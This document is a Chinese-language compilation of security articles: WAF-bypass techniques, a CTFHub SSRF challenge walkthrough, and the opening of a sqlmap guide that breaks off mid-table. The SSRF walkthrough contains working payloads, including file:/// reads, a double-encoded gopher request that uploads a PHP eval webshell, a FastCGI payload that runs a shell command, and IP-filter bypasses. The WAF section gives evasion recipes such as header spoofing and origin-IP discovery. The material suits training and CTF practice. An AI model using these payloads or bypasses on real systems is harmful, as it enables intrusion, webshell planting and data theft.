在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现浅析WAF绕过在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现利用WAF的缺陷绕过1.1利用WAF性能缺陷-垃圾字符填充对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测因此可以填充大量垃圾字符来逃避WAF对数据包的检测如下1.2利用WAF性能缺陷-发送大量请求包可以采取高并发的攻击手段，WAF同样出于性能考虑可能会直接放行部分数据包。2.利用WAF适配组件的缺陷由于后端web容器、中间件、数据库、脚本语言的多样性，waf很难覆盖全，容易导致waf解析不了而后端可以正常解析读取导致的绕过IIS+asp在IIS+ASP的环境中，如果url中出现了百分号，但后面邻接的字符拼起来后又不在url编码表之内的话，ASP脚本处理时会将其忽略例如假设有如下请求xxx.asp?id=1 union se%lect 1,2,3,4 fro%m adm%inwaf规则不严放行后，后端由于该特性成功处理执行了xxx.asp?id=1 union select 1,2,3,4 from admin导致绕过TOMCATtomcat的特性也可以构造出许多绕过的方式，可以参考https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/这篇文章1.参数前后添加空白字符绕过filename="1.jsp"的filename字符左右可以加上一些空白字符%20 %09 %0a %0b %0c %0d %1c %1d %1e %1f，比如%20filename%0a="1.jsp"这样导致waf匹配不到我们上传⽂件2.utf-16、cp037等各种编码绕过utf-16cp037（原始payload为' and (7=len(db_name())) and 'a' = 'a）json下的unicode编码3.利用waf适配协议的缺陷3.1畸形请求（与Web应用所处的中间件有关，在部分中间件下不适用）将HTTP请求头变为随机字符串例如xxxxT请求方法后加一个table等空字符使用get请求方法但带上post体（需要服务端能正常接受）3.2分块传输仅仅适用于post传输方法分块传输不少waf现在也都可以识别了，可以结合waf性能缺陷的思路综合利用-延时分块传输具体使用可以参考该项目 http://github.com/c0ny1/chunked-coding-converter3.3非预期请求方式get改为post、Content-Type: application/x-www-form-urlencoded改为multipart/form-data等跳过waf直接访问服务器寻找真实ip绕过云waf云waf通过配置NS或者CNAME记录，使得对网站的请求报文优先经过WAF主机，经过WAF主机过滤之后，将被认为无害的请求报文再送给实际的网站服务器进行请求,此时只要找到服务器的真实ip,修改host为服务器真是ip即可绕过云waf常见寻找真实ip的方式有如下几种1.证书信息查询 https://myssl.com/2.dns历史解析记录3.搜集子域名ip c段(考虑到费用问题，一些子域名并不会部署)4.超级ping......寻找没有部署waf的nginx反代机器当waf在nginx服务器上部署，且存在nginx集群时，可以试试尝试寻找能反代服务却又没用部署waf的机器访问进行绕过以下面这个为例，测试某接口发现被拦截搜集ip信息为xxx.xxx.200.1xx查找c段服务，一个个访问尝试利用成功利用waf白名单WAF存在某些机制，不处理和拦截白名单中的请求数据例如特定的ip,来自于搜索引擎爬虫的访问数据等特定ip可以使用https://github.com/TheKingOfDuck/burpFakeIP插件将xff等头部设置为127.0.0.1等进行绕过尝试搜索引擎爬虫的访问数据User-Agent修改为谷歌搜索引擎等原文链接：https://forum.butian.net/share/3639
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御
什么是SSRF？即服务器端请求伪造（Server-Side Request Forgery），是一种网络攻击技术，攻击者利用服务器上的应用程序向任意服务器发起请求或者操作，这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的，因此他们可以绕过服务器的外部访问控制，访问内部网络资源或者执行恶意操作。它的危害SSRF攻击通常发生再服务器应用程序允许用户输入被用于构建请求 URL的情况下。如果输入没有得到适当的验证和过滤，攻击者就可以利用这一点来发起恶意请求。例如，如果一个应用程序允许用户输入一个URL来下载文件，攻击者可能会输入指向内部服务器的URL，从而访问或者下载内部文件。如何防御？验证所有用户输入，确保它们是合法的和预期的。限制可访问的URL或资源，避免访问内部网络或敏感资源。使用白名单机制，只允许访问预定义的、安全的URL。对于敏感操作，实施额外的安全措施，如身份验证和授权检查。SSRF漏洞复现靶场：CTFHub，Pikachu内网访问开启环境后，查看题目条件，找出位于127.0.0.1的flag.php页面什么也没有根据题目要求尝试使用这个url参数，进行内网访问，但是页面什么也没有仔细观察url参数前面有一个_，将它删掉试试，测试成功伪协议读取文件常见的伪协议类型有file:///dict://sftp://ldap://tftp://gopher://这里我们用到的是file:/// --本地文件传输协议，主要用来访问本地计算机中的文件，构造payload如下。/?url=file:///var/www/html/flag.php鬼的，他就三个？对于刚入门的小白，我懵逼了。。。。直到几分钟后我查看了他的源码。emmmm，这不就是我们的结果嘛，这关过了端口扫描题目：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦截取到请求包之后发送到攻击器（Intruder）添加payload，这里只有一个需要爆破，所以攻击方式选狙击手设置payload为数值型，因为需要扫描的端口是8000-9000，所以payload配置如下验证匹配结果，并开始攻击端口爆破成功，成功找到flag，端口为8248尝试使用浏览器访问内网的8248端口，成功！Gopher协议的利用定义：Gopher是早期的Internet信息检索系统，通过索引将用户引导至不同资源，主要使用TCP 70端口。在WWW普及前，它是主要的检索工具，但现已基本过时，使用较少。gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议POST题目：这次是发一个HTTP POST请求.对了.SSRF是用php的curl实现的.并且会跟踪302跳转.加油吧骚年这个题目中呢有这么一个文件，在127.0.0.1中的flag.php当我尝试输入了各种值，抓包分析，直到我查看了源码。。这里有一个key，还是被注释了的，不知道是干嘛的先复制下来2161b9fb20ae6d96b0604425b1de64be，尝试使用file协议查看php源码，访问默认web目录var/www/html/flag.php，即?url=file:///var/www/html/flag.php这时候即可查看源码，尝试进行分析 <?php //关闭所有的错误报告 error_reporting(0); //判断请求的ip地址是否是127.0.0.1 if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //如果不是127.0.0.1，就返回这段字符串 echo "Just View From 127.0.0.1"; return; } //falg的获取 $flag=getenv("CTFHUB"); $key = md5($flag); //判断post请求中是否存在key这个参数，key就是刚刚页面上看到的注释的值 if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <!-- Debug: key=<?php echo $key;?>--> 每个项目中默认主页都是index，这是一个php靶场，那么这首页就是index.php/?url=file:///var/www/html/index.php访问之后是个空页面，但是查看网页源码会发现，尝试分析一下源码<?php //关闭错误报告 error_reporting(0); //判断url参数是否存在 if (!isset($_REQUEST['url'])){ //不存在就跳转到当前根目录 header("Location: /?url=_"); exit; } //初始化curl $ch = curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //告诉curl不返回http头，只返回http正文 curl_setopt($ch, CURLOPT_HEADER, 0); //允许cURL跟随重定向。如果服务器响应包含重定向，cURL将自动处理。 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);这段代码没有包含错误处理，也没有设置CURLOPT_RETURNTRANSFER选项，这可能导致cURL的输出直接被输出到浏览器，所以可以利用此curl漏洞进行攻击构造POST请求包访问flag.php查看源码找到key，并输入到输入框，使用bp拦截尝试使用Gopher 协议向服务器发送 POST 包在使用Gopher协议发送POST请求包时，HOST、Content-Type和Content-Length请求头是必不可少的，但是在GET请求中可以没有。key值为自己所获得的。在向服务器发送请求时，首先浏览器会进行一次URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次解码。所以我们需要对构造的请求包进行两次编码：第一次解码将解码的结果复制下来，保存在txt文档中，其中需要将%0A替换成 %0D%0A因为%0A是ASCII 码中的换行符，在URL的二次编码中不需要，否则会导致curl执行错误，导致我们拿不到正确的结果替换完成之后，再次进行url编码，这里的url就是源码中的curl要执行的//使用gopher协议，构造payload ?url=gopher://127.0.0.1:80/_二次编码的url（注意别少了前面那个下划线）得到结果！上传文件题目：这次需要上传一个文件到flag.php了.祝你好运访问内网下的127.0.0.1/flag.php，这里什么也没有，就一个上传文件，还没有提交按钮这里脑回路就来了，题目要求是上传文件，没有提交按钮，我可以自己添加一个啊(･◡ु‹ )Tips：在html中如果button在form标签中，默认是提交按钮，这里可以不要改变他的type属性。这个时候就可以提交了，但是没有任何内容。我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php<?php error_reporting(0); //判断请求的ip，虽然不能访问127.0.0.1，但是可以使用Gopher协议绕过 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } // 判断文件是否存在 if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell 构造自己的post上传文件请求包POST /flag.php HTTP/1.1 Host: challenge-3fe3506777a14929.sandbox.CTFhub.com:10800 Content-Length: 231 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码（第一次编码完成后需要将%0A修改为%0D%0A）前面忘记补充了gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload：?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´｡✪ω✪｡｀)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议，与HTTP协议相似，它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用，获取flag返回的请求内容，这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入，得到flag，(｡◕ ∀ ◕｡)Redis协议题目：这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端，使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧，url重定向漏洞也称url任意跳转漏洞，网站信任了用户的输入导致恶意攻击，url重定向主要用来钓鱼，比如url跳转中最常用的跳转，在登录，支付口，也就是一旦登录将会跳转任意自己构建的网站，如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目：请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过：​ HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是：http://www.xxx.com@www.yyy.com形式，这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问，做个@解析，实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下：?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目： 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯，我的第一想法是使用localhost，不知道能不能行，尝试一下成功，验证了我的想法，既然localhost可以，转换为16进制试试看，payload如下?url=0x7f000001/flag.php八进制：0177.000.000.001十进制：127.0.0.1十六进制：0x7f000001既然也可以！！分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈，(#｀ε´# )ゞ，就是如此，只限制了127.0.0.1不能输入，但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样，可以使用localhost进行绕过，过DNS重绑定关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码，和上一关一样。但上一关的方法却不起作用了使用dns重绑定，https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成，꒰#’ω`#꒱੭！原文链接：https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透
喜欢长文吗？1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透前言在信息安全领域，SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理，通过注入恶意SQL代码，从而绕过安全措施，非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻，了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具，凭借其强大的功能和易用性，成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞，还能进一步枚举数据库信息、提取数据，甚至执行操作系统命令，为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法，帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧，我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时，通过实例演示和技巧分享，帮助读者在实际操作中灵活运用sqlmap，提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术，但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型： 二次注入（Second-Order SQL Injection）：二次注入发生在应用程序首先接收并存储了恶意输入，然后在稍后的时间点（通常是在另一个请求中）这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询，因此sqlmap可能难以直接检测到这种注入类型，除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入：这种注入类型发生在客户端JavaScript代码中，而不是服务器端。sqlmap主要关注服务器端的安全漏洞，因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过：某些Web应用防火墙（WAF）或入侵防御系统（IPS）可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时，sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下，可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入：虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞，但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理，这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制：在某些情况下，由于数据库配置或网络延迟等原因，盲注（基于布尔、时间或错误消息的盲注）可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息，那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言：虽然sqlmap支持多种数据库系统，但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言，那么可能会影响到sqlmap的检测能力。 在开始之前先上表（方便以后查表），或者截图保存好，基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别：0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别：0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB 